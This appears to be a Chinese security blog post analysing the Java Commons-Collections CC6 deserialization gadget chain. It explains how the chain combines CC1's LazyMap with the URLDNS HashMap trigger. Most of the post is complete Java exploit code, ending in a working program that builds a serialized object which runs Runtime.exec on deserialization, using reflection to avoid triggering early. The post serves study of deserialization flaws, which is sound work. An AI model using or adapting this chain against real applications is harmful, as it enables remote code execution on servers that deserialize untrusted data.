本文最后更新于 2025年8月9日 下午
配置
CC6链其实就是在CC1链的基础上,配合URLDNS链子组合的。
本环境我是用的是jdk1.8.0_71(没有过多的限制)以及Commons-Collections 3.2.1
链子分析
初探

看一下ysoSerial给的链子,后面就是正常CC1链走的LazyMap的那条链子,前面是URLDNS的链子拼接的
先去查看TiedMapEntry
类

这里可以调用LazyMap
的get方法
这里借用之前在cc1写的lazymap的链子,先贴一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class LazyMapExp { public static void main(String[] args) throws Exception{ Runtime rt = Runtime.getRuntime(); InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap hashmap = new HashMap(); Map decoratedMap = LazyMap.decorate(hashmap,invokerTransformer); Class LazyMapClass = LazyMap.class; Method method = LazyMapClass.getDeclaredMethod("get", Object.class); method.setAccessible(true); method.invoke(decoratedMap, rt); } }
|
然后用TiedMapEntry
类中的 getValue()
方法调用 LazyMap
的 get()
方法
因为 TiedMapEntry
是作用域是 public
,所以我们不需要反射获取它的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; public class TiedMapEntryEXP { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key"); tiedMapEntry.getValue(); } }
|
是可以正常弹出内容的
new 一个 TiedMapEntry
对象,并调用它的 getValue()
方法,然后会执行调用map.get("key")
链接
往上找调用getValue
的类,一般是现在同类里先找

找到的是hashCode
,然后就是利用URLDNS
这个常规的链子就行,也就是
1
| xxx.readObject--->hashMap.put()--->hashCode.hash()--->xxxx.hashCode()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; public class hashMapExp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); HashMap map = new HashMap(); map.put(tiedMapEntry,"bbb"); } }
|

哎这里就发现提前就弹calc了,这是idea的一个毛病,提前走toString了,

关掉就好,然后继续写

发现序列化的时候就弹了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Map; public class hashMapExp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); HashMap map = new HashMap(); map.put(tiedMapEntry,"bbb"); serialize(map); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
Exp
修复问题
解决的思路也就是和URLDNS
解决的方法一样,需要在执行 put()
方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。
这里在CC6里,通过修改这一句语句 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
,可以达到我们需要的效果

我们之前传进去的参数是 chainedTransformer
,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer
。相关的属性值在 LazyMap 当中为 factory
那么大致的修改就是
1 2 3 4 5 6 7 8 9 10 11 12
| HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer("123")); lazymap.remove("key"); Class c=LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazymap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package org.example; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.Transformer; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class FinalCC6EXP { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<Object,Object>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); HashMap<Object,Object> map2 = new HashMap<>(); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); map2.put(tiedMapEntry,"bbb"); map.remove("aaa"); Class c = LazyMap.class; Field fieldfactory = c.getDeclaredField("factory"); fieldfactory.setAccessible(true); fieldfactory.set(lazymap,chainedTransformer); serialize(map2); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
总结
老样子画个流程图理解一下
